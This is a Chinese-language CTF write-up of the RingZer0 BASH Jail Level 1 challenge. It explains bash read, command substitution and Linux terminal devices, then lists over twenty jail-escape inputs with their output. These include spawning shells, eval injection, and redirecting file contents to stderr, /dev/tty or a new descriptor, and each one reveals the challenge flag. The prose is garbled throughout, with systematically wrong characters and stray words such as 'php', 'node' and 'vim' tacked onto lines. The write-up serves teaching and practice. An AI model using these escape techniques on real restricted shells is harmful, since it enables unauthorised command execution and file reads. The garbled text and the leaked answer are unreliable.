由一道bash jail题引出的杂事@_@


关键词:Terminal devices、shell、stdio
php

题目入口:

(须要注册)html

root@kali:~# ssh level1@24.37.41.154 -p 1016
level1@24.37.41.154's password: 

RingZer0 Team Online CTF

BASH Jail Level 1:
Current user is uid=1000(level1) gid=1000(level1) groups=1000(level1)

Flag is located at /home/level1/flag.txt

Challenge bash code:
-----------------------------

while :
do
    echo "Your input:"
    read input
    output=`$input`
done 

-----------------------------
Your input:

先说几个关键点和概念问题,而后再分析writeup,请耐着性子看完吧 ;)node

1. bash code中的关键点:

(文档中的重点用粗体标出)python

  • read

参考文档:linux

This is a BASH shell builtin.shell

One line is read from the standard input, and the first word is assigned to the first name, the second word to the second name, and so on, with leftover words and their intervening separators assigned to the last name.vim

If there are fewer words read from the standard input than names, the remaining names are assigned empty values.windows

The characters in the value of the IFS variable are used to split the line into words.bash

The backslash character '\' can be used to remove any special meaning for the next character read and for line continuation.网络

If no names are supplied, the line read is assigned to the variable REPLY. The return code is zero, unless end-of-file is encountered or read times out.


  • Command Substitution (这题使用``)

参考文档:

Command substitution allows the output of a command to replace the command itself. Command substitution occurs when a command is enclosed as follows:

$(command)

or

`command`

Bash performs the expansion by executing command in a subshell environment and replacing the command substitution with the standard output of the command, with any trailing newlines deleted. Embedded newlines are not deleted, but they may be removed during word splitting. The command substitution $(cat file) can be replaced by the equivalent but faster $(< file).

When the old-style backquote form of substitution is used, backslash retains its literal meaning except when followed by ‘$’, ‘`’, or ‘’. The first backquote not preceded by a backslash terminates the command substitution. When using the $(command) form, all characters between the parentheses make up the command; none are treated specially.

Command substitutions may be nested. To nest when using the backquoted form, escape the inner backquotes with backslashes.

If the substitution appears within double quotes, word splitting and filename expansion are not performed on the results.


  • read会将输入进行转义

示例:

root@kali:~/tmp echo `cat passwd`
***********frankunder**************
root@kali:~/tmp echo `cat passwd 1>&2` (此时为标准错误输出)
***********frankunder**************

root@kali:~/tmp echo `cat passwd 1\>\&2`
cat: '1>&2': No such file or directory(这是stderr)
***********frankunder**************(这是stdout)
root@kali:~/tmp read input
cat passwd 1>&2
root@kali:~/tmp echo $input
cat passwd 1>&2
root@kali:~/tmp echo `$input`
cat: '1>&2': No such file or directory
***********frankunder**************

root@kali:~/tmp 注:在当前文件夹下面有一个passwd文件

2. Terminal devices的一些概念(转)

  • 简单说:

1> tty(终端设备的统称):
tty一词源于Teletypes,或者teletypewriters,原来指的是电传打字机,是经过串行线用打印机键盘经过阅读和发送信息的东西,后来这东西被键盘与显示器取代,因此如今叫终端比较合适。
终端是一种字符型设备,它有多种类型,一般使用tty来简称各类类型的终端设备。

2> pty(虚拟终端):
可是若是咱们远程telnet到主机或使用xterm时不也须要一个终端交互么?是的,这就是虚拟终端pty(pseudo-tty)

3> pts/ptmx(pts/ptmx结合使用,进而实现pty):
pts(pseudo-terminal slave)是pty的实现方法,与ptmx(pseudo-terminal master)配合使用实现pty。


  • 详细分析

在Linux系统的设备特殊文件目录/dev/下,终端特殊设备文件通常有如下几种:
一、串行端口终端(/dev/ttySn)
串行端口终端(Serial Port Terminal)是使用计算机串行端口链接的终端设备。计算机把每一个串行端口都看做是一个字符设备。有段时间这些串行端口设备一般被称为终端设备,由于那时它的最大用途就是用来链接终端。这些串行端口所对应的设备名称是/dev/tts/0(或/dev/ttyS0), /dev/tts/1(或/dev/ttyS1)等,设备号分别是(4,0), (4,1)等,分别对应于DOS系统下的COM一、COM2等。若要向一个端口发送数据,能够在命令行上把标准输出重定向到这些特殊文件名上便可。例如,在命令行提示符下键入:echo test > /dev/ttyS1会把单词”test”发送到链接在ttyS1(COM2)端口的设备上。可接串口来实验。

二、伪终端(/dev/pty/)(新的发行版好像去掉了这个文件夹)
伪终端(Pseudo Terminal)是成对的逻辑终端设备(即master和slave设备, 对master的操做会反映到slave上)。
例如/dev/ptyp3和/dev/ttyp3(或者在设备文件系统中分别是/dev/pty/m3和 /dev/pty/s3)。它们与实际物理设备并不直接相关。若是一个程序把ptyp3(master设备)看做是一个串行端口设备,则它对该端口的读/ 写操做会反映在该逻辑终端设备对应的另外一个ttyp3(slave设备)上面。而ttyp3则是另外一个程序用于读写操做的逻辑设备。

这样,两个程序就能够经过这种逻辑设备进行互相交流,而其中一个使用ttyp3的程序则认为本身正在与一个串行端口进行通讯。这很象是逻辑设备对之间的管道操做。对于ttyp3(s3),任何设计成使用一个串行端口设备的程序均可以使用该逻辑设备。但对于使用ptyp3的程序,则须要专门设计来使用 ptyp3(m3)逻辑设备。

例如,若是某人在网上使用telnet程序链接到你的计算机上,则telnet程序就可能会开始链接到设备 ptyp2(m2)上(一个伪终端端口上)。此时一个getty程序就应该运行在对应的ttyp2(s2)端口上。当telnet从远端获取了一个字符时,该字符就会经过m二、s2传递给 getty程序,而getty程序就会经过s二、m2和telnet程序往网络上返回”login:”字符串信息。这样,登陆程序与telnet程序就经过“伪终端”进行通讯。经过使用适当的软件,就能够把两个甚至多个伪终端设备链接到同一个物理串行端口上。

在使用设备文件系统 (device filesystem)以前,为了获得大量的伪终端设备特殊文件,使用了比较复杂的文件名命名方式。由于只存在16个ttyp(ttyp0—ttypf) 的设备文件,为了获得更多的逻辑设备对,就使用了象q、r、s等字符来代替p。例如,ttys8和ptys8就是一个伪终端设备对。不过这种命名方式目前仍然在RedHat等Linux系统中使用着。

但Linux系统上的Unix98并不使用上述方法,而使用了”pty master”方式,例如/dev/ptm3。它的对应端则会被自动地建立成/dev/pts/3。这样就能够在须要时提供一个pty伪终端。目录 /dev/pts是一个类型为devpts的文件系统,而且能够在被加载文件系统列表中看到。虽然“文件”/dev/pts/3看上去是设备文件系统中的一项,但其实它彻底是一种不一样的文件系统。
即: TELNET ---> TTYP3(S3: slave) ---> PTYP3(M3: master) ---> GETTY

实验:
一、在X下打开一个或N个终端窗口
二、#ls /dev/pt*
三、关闭这个X下的终端窗口,再次运行;比较两次输出信息就明白了。
在RHEL4环境下: 输出为/dev/ptmx /dev/pts/1存在一(master)对多(slave)的状况

三、控制终端(/dev/tty)
若是当前进程有控制终端(Controlling Terminal)的话,那么/dev/tty就是当前进程的控制终端的设备特殊文件。可使用命令”ps –ax”来查看进程与哪一个控制终端相连。对于你登陆的shell,/dev/tty就是你使用的终端,设备号是(5,0)。使用命令”tty”能够查看它具体对应哪一个实际终端设备。/dev/tty有些相似于到实际所使用终端设备的一个联接。

四、控制台终端(/dev/ttyn, /dev/console)
在Linux 系统中,计算机显示器一般被称为控制台终端 (Console)。它仿真了类型为Linux的一种终端(TERM=Linux),而且有一些设备特殊文件与之相关联:tty0、tty一、tty2 等。当你在控制台上登陆时,使用的是tty1。使用Alt+[F1—F6]组合键时,咱们就能够切换到tty二、tty3等上面去。tty1–tty6等称为虚拟终端,而tty0则是当前所使用虚拟终端的一个别名,系统所产生的信息会发送到该终端上(这时也叫控制台终端)。所以无论当前正在使用哪一个虚拟终端,系统信息都会发送到控制台终端上。你能够登陆到不一样的虚拟终端上去,于是可让系统同时有几个不一样的会话期存在。只有系统或超级用户root能够向 /dev/tty0进行写操做 即下例:
一、# tty(查看当前TTY)
/dev/tty1
二、#echo "test tty0" > /dev/tty0
test tty0

5 虚拟终端(/dev/pts/n)
在Xwindows模式下的伪终端.

6 其它类型
Linux系统中还针对不少不一样的字符设备存在有不少其它种类的终端设备特殊文件。例如针对ISDN设备的/dev/ttyIn终端设备等。这里再也不赘述。

FAQ: 终端和控制台

Q:/dev/console 是什么?

A:/dev/console即控制台,是与操做系统交互的设备,系统将一些信息直接输出到控制台上。目前只有在单用户模式下,才容许用户登陆控制台。

Q:/dev/tty是什么?

A:tty设备包括虚拟控制台,串口以及伪终端设备。
/dev/tty表明当前tty设备,在当前的终端中输入 echo “hello” > /dev/tty ,都会直接显示在当前的终端中。

Q:/dev/ttyS*是什么?

A:/dev/ttyS*是串行终端设备。

Q:/dev/pty*是什么?

A:/dev/pty*即伪终端,所谓伪终端是逻辑上的终端设备,多用于模拟终端程序。例如,咱们在X Window下打开的终端,以及咱们在Windows使用telnet 或ssh等方式登陆Linux主机,此时均在使用pty设备(准确的说在使用pty从设备)。

Q:/dev/tty0与/dev/tty1 …/dev/tty63是什么?它们之间有什么区别?

A:/dev/tty0表明当前虚拟控制台,而/dev/tty1等表明第一个虚拟控制台,例如当使用ALT+F2进行切换时,系统的虚拟控制台为/dev/tty2 ,当前的控制台则指向/dev/tty2

Q:如何肯定当前所在的终端(或控制台)?

A:使用tty命令能够肯定当前的终端或者控制台。

Q:/dev/console是到/dev/tty0的符号连接吗?

A: 目前的大多数文本中都称/dev/console是到/dev/tty0的连接(包括《Linux内核源代码情景分析》),可是这样说是不确切的。根据内核文档,在2.1.71以前,/dev/console根据不一样系统的设定能够连接到/dev/tty0或者其余tty*上,在2.1.71版本以后则彻底由内核控制。目前,只有在单用户模式下能够登陆/dev/console(能够在单用户模式下输入tty命令进行确认)。

Q:/dev/tty0与/dev/fb*有什么区别?

A: 在Framebuffer设备没有启用的系统中,可使用/dev/tty0访问显卡。

Q:关于终端和控制台的区别能够参考哪些文本

A: 能够参考内核文档中的 Documents/devices.txt 中关于”TERMINAL DEVICES” 的章节。另外,《Linux内核源代码情景分析》的8.7节 以及《Operating Systems : Design and Implementation》中的3.9节(第3版中为3.8节)都对终端设备的概念和历史作了很好的介绍。另外在《Modern Operating system》中也有对终端设备的介绍,因为与《Operating Systems : Design and Implementation》的做者相同,因此文本内容也大体相同。须要注意的一点是《Operating Systems : Design and Implementation》中将终端设备分为3类,而《Modern Operating system》将终端硬件设备分为2类,差异在于前者将 X Terminal做为一个类别。


有功夫的话看看这个吧:

kernel.org上的文档:

Terminal devices

Terminal, or TTY devices are a special class of character devices. A terminal device is any device that could act as a controlling terminal for a session; this includes virtual consoles, serial ports, and pseudoterminals (PTYs).

All terminal devices share a common set of capabilities known as line disciplines; these include the common terminal line discipline as well as SLIP and PPP modes.

All terminal devices are named similarly; this section explains the naming and use of the various types of TTYs. Note that the naming conventions include several historical warts; some of these are Linux-specific, some were inherited from other systems, and some reflect Linux outgrowing a borrowed convention.

A hash mark (#) in a device name is used here to indicate a decimal number without leading zeroes.

Virtual consoles and the console device

Virtual consoles are full-screen terminal displays on the system video monitor. Virtual consoles are named /dev/tty#, with numbering starting at /dev/tty1; /dev/tty0 is the current virtual console. /dev/tty0 is the device that should be used to access the system video card on those architectures for which the frame buffer devices (/dev/fb*) are not applicable. Do not use /dev/console for this purpose.

The console device, /dev/console, is the device to which system messages should be sent, and on which logins should be permitted in single-user mode. Starting with Linux 2.1.71, /dev/console is managed by the kernel; for previous versions it should be a symbolic link to either /dev/tty0, a specific virtual console such as /dev/tty1, or to a serial port primary (tty, not cu) device, depending on the configuration of the system.

Serial ports

Serial ports are RS-232 serial ports and any device which simulates one, either in hardware (such as internal modems) or in software (such as the ISDN driver.) Under Linux, each serial ports has two device names, the primary or callin device and the alternate or callout one. Each kind of device is indicated by a different letter. For any letter X, the names of the devices are /dev/ttyX# and /dev/cux#, respectively; for historical reasons, /dev/ttyS# and /dev/ttyC# correspond to /dev/cua# and /dev/cub#. In the future, it should be expected that multiple letters will be used; all letters will be upper case for the “tty” device (e.g. /dev/ttyDP#) and lower case for the “cu” device (e.g. /dev/cudp#).

The names /dev/ttyQ# and /dev/cuq# are reserved for local use.

The alternate devices provide for kernel-based exclusion and somewhat different defaults than the primary devices. Their main purpose is to allow the use of serial ports with programs with no inherent or broken support for serial ports. Their use is deprecated, and they may be removed from a future version of Linux.

Arbitration of serial ports is provided by the use of lock files with the names /var/lock/LCK..ttyX#. The contents of the lock file should be the PID of the locking process as an ASCII number.

It is common practice to install links such as /dev/modem which point to serial ports. In order to ensure proper locking in the presence of these links, it is recommended that software chase symlinks and lock all possible names; additionally, it is recommended that a lock file be installed with the corresponding alternate device. In order to avoid deadlocks, it is recommended that the locks are acquired in the following order, and released in the reverse:

  1. The symbolic link name, if any (/var/lock/LCK..modem)
  2. The “tty” name (/var/lock/LCK..ttyS2)
  3. The alternate device name (/var/lock/LCK..cua2)

In the case of nested symbolic links, the lock files should be installed in the order the symlinks are resolved.

Under no circumstances should an application hold a lock while waiting for another to be released. In addition, applications which attempt to create lock files for the corresponding alternate device names should take into account the possibility of being used on a non-serial port TTY, for which no alternate device would exist.

Pseudoterminals (PTYs)

Pseudoterminals, or PTYs, are used to create login sessions or provide other capabilities requiring a TTY line discipline (including SLIP or PPP capability) to arbitrary data-generation processes. Each PTY has a master side, named /dev/pty[p-za-e][0-9a-f], and a slave side, named /dev/tty[p-za-e][0-9a-f]. The kernel arbitrates the use of PTYs by allowing each master side to be opened only once.

Once the master side has been opened, the corresponding slave device can be used in the same manner as any TTY device. The master and slave devices are connected by the kernel, generating the equivalent of a bidirectional pipe with TTY capabilities.

Recent versions of the Linux kernels and GNU libc contain support for the System V/Unix98 naming scheme for PTYs, which assigns a common device, /dev/ptmx, to all the masters (opening it will automatically give you a previously unassigned PTY) and a subdirectory, /dev/pts, for the slaves; the slaves are named with decimal integers (/dev/pts/# in our notation). This removes the problem of exhausting the namespace and enables the kernel to automatically create the device nodes for the slaves on demand using the “devpts” filesystem.

3. stdio与Terminal devices的关系

  • 示例
root@kali:~# ll /dev/pts/
total 0
drwxr-xr-x  2 root root      0 Jun 19 17:58 .
drwxr-xr-x 20 root root   3260 Jun 20 11:25 ..
crw--w----  1 root tty  136, 0 Jun 20 11:47 0
crw--w----  1 root tty  136, 1 Jun 20 11:42 1
crw--w----  1 root tty  136, 2 Jun 20 12:09 2
crw--w----  1 root tty  136, 3 Jun 20 12:09 3
crw--w----  1 root tty  136, 4 Jun 20 11:47 4
crw--w----  1 root tty  136, 5 Jun 20 11:47 5
crw--w----  1 root tty  136, 6 Jun 20 11:47 6
crw--w----  1 root tty  136, 7 Jun 20 11:57 7
crw--w----  1 root tty  136, 8 Jun 20 12:22 8
crw--w----  1 root tty  136, 9 Jun 20 12:51 9
c---------  1 root root   5, 2 Jun 19 17:58 ptmx
root@kali:~# tty
/dev/pts/9
root@kali:~# ll /dev | grep std
lrwxrwxrwx   1 root       root            15 Jun 19 17:58 stderr -> /proc/self/fd/2
lrwxrwxrwx   1 root       root            15 Jun 19 17:58 stdin -> /proc/self/fd/0
lrwxrwxrwx   1 root       root            15 Jun 19 17:58 stdout -> /proc/self/fd/1
root@kali:~# ll /proc/self/fd/
total 0
dr-x------ 2 root root  0 Jun 20 12:52 .
dr-xr-xr-x 9 root root  0 Jun 20 12:52 ..
lrwx------ 1 root root 64 Jun 20 12:52 0 -> /dev/pts/9
lrwx------ 1 root root 64 Jun 20 12:52 1 -> /dev/pts/9
lrwx------ 1 root root 64 Jun 20 12:52 2 -> /dev/pts/9
lr-x------ 1 root root 64 Jun 20 12:52 3 -> /proc/29513/fd
root@kali:~#

如上图,我在X Windows下开了9个“虚假”terminal,目前用的这个是第9个,stdio最终软链接到/dev/pts/9,代表标准输出均输出到目前的这个terminal中。

4. Terminal与shell的关系

简单来讲:

  • terminal = tty = text input/output environment
  • console = physical terminal
  • shell = command line interpreter

因此,咱们在terminal里面执行bash,只能说是打开了一个subshell,而不能说是新开了一个terminal/tty。terminal是一个“设备”,shell是一个交互软件,用于和内核交流,咱们的shell依托于terminal这个”设备“进行显示和接受输入。

5. 对题目和writeup的分析

(感谢一航同志提供汇总后的writeups http://www.jianshu.com/u/bf30f18c872c )

分析:
这道题的执行流程为 循环{ read->转义->变量input 将input在subshell中执行输出的stdout赋值给变量output 若是输出中存在stderr,则将stderr输出到/dev/pts/下对应的master side 即当前使用的”虚假“terminal/tty}。所以咱们在一般状况下只能看到stderr的输出,看不到stdout输出(赋值给了变量)。
由此考虑如下两个大方向:
1.将flag的内容做为非stdout流输出。(与shell程序不产生关系,流不会被截获)
2.绕过bash code中的赋值语句,手动将flag内容输出到当前控制tty中(与shell的程序不产生关系,流不会被截获)。

值得注意的是,像bash和python这样可以产生交互的命令,它们执行的时候产生的提示语句一般输出为stderr(不知道为啥,感兴趣的同窗能够查一查),例如:

root@kali:~/tmp python 2> stderr
>>> This is a test sentence
>>> >>> root@kali:~/tmp# 
root@kali:~/tmp cat stderr 
Python 2.7.13 (default, Jan 19 2017, 14:48:08) 
[GCC 6.3.0 20170118] on linux2
Type "help", "copyright", "credits" or "license" for more information.
  File "<stdin>", line 1
    This is a test sentence
                 ^
SyntaxError: invalid syntax

KeyboardInterrupt

root@kali:~/tmp#

因此除了使用像”&> >&“这种重定向bash语句外,咱们也可使用使用一些带有交互的命令执行flag文件,产生的错误流中一般就有对应的flag内容。另外,若是要使用>&,因为read对输入进行了转义,应该另开一个shell/bash再使用(eval除外)。

如下的writeups有一些的步骤是没有必要的或者重复的,你们没必要纠结,思路对了就行。

0x00
Your input:
bash flag.txt
flag.txt: line 1: FLAG-U96l4k6m72a051GgE5EN0rA85499172K: command not found

- 方向1,利用bash的提示语句为stderr进行反显。
0x01
Your input:
dd if=/home/level1/flag.txt of=/dev/tty
FLAG-U96l4k6m72a051GgE5EN0rA85499172K
0+1 records in
0+1 records out
38 bytes (38 B) copied, 0.0010536 s, 36.1 kB/s

- 方向2,绕过shell,直接将flag内容输出到当前的执行tty,同时dd语句中没有特殊字符,不用顾忌转义的问题。
0x02
Your input:
bash
level1@lxc17-bash-jail:~$ cat flag.txt 1>&2
FLAG-U96l4k6m72a051GgE5EN0rA85499172K
level1@lxc17-bash-jail:~$

- 方向1,因为转义的问题,新开一个bash将flag内容定向到错误流中进行返显。
0x03
Your input:
bash
level1@lxc17-bash-jail:~$ cat flag.txt > /dev/tty
FLAG-U96l4k6m72a051GgE5EN0rA85499172K

- 方向2,不过因为使用的重定向语句>, 须要在新开的shell/bash中使用>,避免转义的问题。
0x04

man page for eval
eval会把后面的字符串递归进行变量替换并在当前shell尝试执行这个字符串
因此没必要担忧转义的问题,由于eval自己要求的参数就是将字符串。

Your input:
eval cat /home/level1/flag.txt >&2
FLAG-U96l4k6m72a051GgE5EN0rA85499172K

- 方向1
0x05

man bash:

-x      After expanding each simple command, for command, case command, select command, or  arithmetic  for command, display the expanded value of **PS4**, followed by the command and its expanded arguments or associated word list.
 
       PS0    The value of this parameter is expanded (see PROMPTING below) and displayed by interac‐tive shells after reading a command and before the command is executed.
       PS1    The value of this parameter is expanded (see PROMPTING below) and used as  the  primary prompt string.  The default value is ``\s-\v\$ ''.
       PS2    The  value  of  this parameter is expanded as with PS1 and used as the secondary prompt string.  The default is ``> ''.
       PS3    The value of this parameter is used as the prompt for the  select  command  (see  SHELL GRAMMAR above).
       PS4    The  value  of  this  parameter is expanded as with PS1 and the value is printed before each command bash displays during an execution trace.  The first character  of  PS4  is replicated  multiple  times,  as necessary, to indicate multiple levels of indirection. The default is ``+ ''.

参考: https://stackoverflow.com/questions/10107124/bash-x-command

Your input:
bash -x prompt.sh
+ echo
+ echo -e '\033[0;34mRingZer0 Team Online CTF\033[0m'
+ echo
+ echo 'BASH Jail Level 1:'
++ id
+ echo 'Current user is uid=1000(level1) gid=1000(level1) groups=1000(level1)'
+ echo
++ pwd
+ echo 'Flag is located at /home/level1/flag.txt'
+ echo
+ echo 'Challenge bash code:'
+ echo -----------------------------
+ echo -e '\033[0;31m'
+ sed -e 1,19d
+ echo -e '\033[0m'
+ echo -----------------------------
+ :
+ echo 'Your input:'
+ read input
cat flag.txt
++ cat flag.txt
+ output=FLAG-U96l4k6m72a051GgE5EN0rA85499172K
+ :
+ echo 'Your input:'
+ read input

- 方向1,在新的shell中(仍是初始的shell,可是在这种环境下会显示执行的状况,output的值以stderr的流输出)
0x06

这个方法颇有意思,你们可能会想说为何要定向到标准输入流中,请回看”3. stdio与Terminal devices的关系“,其中显示,其实三个sidio都是默认输出到当前tty的,可是程序吧stdout截获了赋值给变量,因此其实咱们重定向到0或者2都是能够回显的。

Your input:
bash
level1@lxc17-bash-jail:~$  cat flag.txt >&0
FLAG-U96l4k6m72a051GgE5EN0rA85499172K

- 方向1
0x07
Your input:
bash
level1@lxc17-bash-jail:~$ awk '{system("wc "$1)}' /home/level1/flag.txt 
wc: FLAG-U96l4k6m72a051GgE5EN0rA85499172K: No such file or directory

- 方向1
0x08
Your input:
bash
level1@lxc17-bash-jail:~$ cat `cat flag.txt`
cat: FLAG-U96l4k6m72a051GgE5EN0rA85499172K: No such file or directory

- 方向1
0x09
Your input:
bash
level1@lxc17-bash-jail:~$ PS1=$(cat flag.txt)
FLAG-U96l4k6m72a051GgE5EN0rA85499172KA

- 方向1,PS1在第5题中有解释,是一个提示符。
0x0A
Your input:
bash
level1@lxc17-bash-jail:~$ arp -f -v /home/level1/flag.txt
>> FLAG-U96l4k6m72a051GgE5EN0rA85499172K
arp: format error on line 1 of etherfile /home/level1/flag.txt !

- 方向1
0x0B

这个解法也颇有意思。
tty这个命令会显示当前使用的tty在dev下的绝对路径,eval是用来避开转义的(上面有讲到)。
其实eval $(vi passwd > tty)就能够啦。若是流的输出不是一个tty,vim会向tty输出stderr流。

Your input:
eval $(vi /home/level1/flag.txt < `tty` > `tty`)

- 方法2
0x0C
Your input:
eval `cat /home/level1/flag.txt`
/home/level1/prompt.sh: line 24: FLAG-U96l4k6m72a051GgE5EN0rA85499172K: command not found

- 方向1
0x0D
Your input:
bash
level1@lxc17-bash-jail:~$ (>&2 grep [a-zA-Z] flag.txt)
FLAG-U96l4k6m72a051GgE5EN0rA85499172K

- 方向1
0x0E
Your input:
python
Python 2.7.6 (default, Jun 22 2015, 17:58:13) 
[GCC 4.8.2] on linux2
Type "help", "copyright", "credits" or "license" for more information.
>>> import sys
>>> sys.stdout = sys.stderr
>>> with open("flag.txt", "r") as f:
...     print f.read()
... 
FLAG-U96l4k6m72a051GgE5EN0rA85499172K
>>>

- 方向1
0x0F
Your input:
. /home/level1/flag.txt
/home/level1/flag.txt: line 1: FLAG-U96l4k6m72a051GgE5EN0rA85499172K: command not found
0x10
Your input:
source /home/level1/flag.txt
/home/level1/flag.txt: line 1: FLAG-U96l4k6m72a051GgE5EN0rA85499172K: command not found

-方向1 不过要求flag.txt具备执行权限
0x11
Your input:
bash
level1@lxc17-bash-jail:~$ bash >&2
level1@lxc17-bash-jail:~$ cat /home/level1/flag.txt
FLAG-U96l4k6m72a051GgE5EN0rA85499172K: command not found

- 方向1
0x12
Your input:
bash
level1@lxc17-bash-jail:~$ $(cat /home/level1/flag.txt)
bash: FLAG-U96l4k6m72a051GgE5EN0rA85499172K: command not found

- 方向1
0x13

哈哈 这个解法让我大吃了一斤。。。
默认状况下的文件描述符:
0 - stdin
1 - stdout
2 - stderr
该解法新建了一个文件描述符3,并将stdout流重定向到3(最终也是软链接到当前使用的”虚假“tty),因此shell程序不会截获流并赋值给变量。

Your input:
sh
sh-4.3$ cat flag.txt >&3
FLAG-U96l4k6m72a051GgE5EN0rA85499172K

- 既不是方向1的stderr流,也不是方向2的直接导向/dev/tty。
0x14
Your input:
bash
level1@lxc17-bash-jail:~$ a'|'"ls -la $SHELL;`cat $HOME/flag.txt`"
bash: a|ls -la /home/level1/prompt.sh;FLAG-U96l4k6m72a051GgE5EN0rA85499172K: No such file or directory

- 方向1
0x15
Your input:
python flag.txt
Traceback (most recent call last):
  File "flag.txt", line 1, in <module>
    FLAG-U96l4k6m72a051GgE5EN0rA85499172K
NameError: name 'FLAG' is not defined

- 方向1
0x16
Your input:
bash
level1@lxc17-bash-jail:~$ `ls`
bash: flag.txt: command not found
level1@lxc17-bash-jail:~$ `cat flag.txt`
bash: FLAG-U96l4k6m72a051GgE5EN0rA85499172K: command not found

- 方向1
0x17
Your input:
eval "$(cat flag.txt)"
/home/level1/prompt.sh: line 24: FLAG-U96l4k6m72a051GgE5EN0rA85499172K: command not found

- 方向1

有错误的地方还请多多指教 ;)

6. 参考 感谢:

  1. https://ss64.com/bash/read.html
  2. https://tiswww.case.edu/php/chet/bash/bashref.html#Shell-Expansions
  3. http://www.linfo.org/standard_error.html
  4. https://unix.stackexchange.com/questions/4126/what-is-the-exact-difference-between-a-terminal-a-shell-a-tty-and-a-con
  5. http://www.readfree.net/htm/200908/4786353.html
  6. https://www.kernel.org/doc/html/latest/admin-guide/devices.html
相关文章
相关标签/搜索